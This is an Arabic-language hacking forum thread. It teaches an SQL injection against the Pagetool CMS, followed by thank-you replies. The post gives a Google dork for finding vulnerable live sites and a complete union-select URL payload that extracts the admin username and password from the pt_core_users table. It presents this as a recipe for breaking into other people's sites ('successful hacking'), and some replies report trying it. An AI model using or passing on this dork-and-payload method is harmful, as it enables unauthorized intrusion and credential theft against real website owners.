قـوه

شلـونكم شخبـاركم

الـيوم بـشرح لـكم ثغـره pagetool بالصـوره

ادوات الـدرس
-1 شـويه مـخ
2- شـويه عقـل :SO0:

يلاا نبـدي

[Link nur für registrierte Benutzer sichtbar]


مكتشف الثغرة : مو معـروف :(

نوع الثـغره : sql

شارح الثغرة : سلـومكـا :$

[Link nur für registrierte Benutzer sichtbar]


يلاا نبـدي :-

اول شـي نـدش قـوقل
[Link nur für registrierte Benutzer sichtbar] ([Link nur für registrierte Benutzer sichtbar])

و نحـط هـل كـود
powered by Pagetool


[Link nur für registrierte Benutzer sichtbar] ([Link nur für registrierte Benutzer sichtbar])

يطـلع لنـا وايـد موااقـع مثل هل صـوره
[Link nur für registrierte Benutzer sichtbar] ([Link nur für registrierte Benutzer sichtbar])

اكثـر المواقـع المصابـه هذيـلي org

نختار لنا الموقع
و هذا الاستغـلال
/index.php?name=pagetool_news&news_id=-1/**/union/**/all/**/select/**/null,/**/null,/**/CONCAT(0x557365726E346D653A20,/**/username),/**/CONCAT(0x50617373773072643A20,/**/passwd),/**/null/**/from/**/pt_core_users/**/where/**/user_id=1

نحطه ورا الرابط علي طول مثل هل صوره
[Link nur für registrierte Benutzer sichtbar] ([Link nur für registrierte Benutzer sichtbar])

اضغـط انتـر و شـوف مثـل هل صـوره
[Link nur für registrierte Benutzer sichtbar] ([Link nur für registrierte Benutzer sichtbar])

خلـص الـشرح

و اختـراق موفـق ;)

مشكووووووور تسلم

بجرب

لوووووووووووووووول

تصلم علي المروور خخخخ

ما ضبطت معاي ما بقا موقع ما org


وما دشيتله

فويز

لا يضبط كل شي ;)

انا ضبطت معاي

يسلمووووو علىى الموضوع

يعطيك العافي ـــه على الموضوع
وتقبل مروري

يسمنووووووووووو هههههههههههههههه

يعطيك العافيه

علي الموضوع وماتقصر

ع الطرح الجميل والرائع

كل الشكر لك اتمنا لك

التوفيج يارب

مشكووووووووور اخوي

يسلمووووا اخوى على الشرح

شكرا والف شكر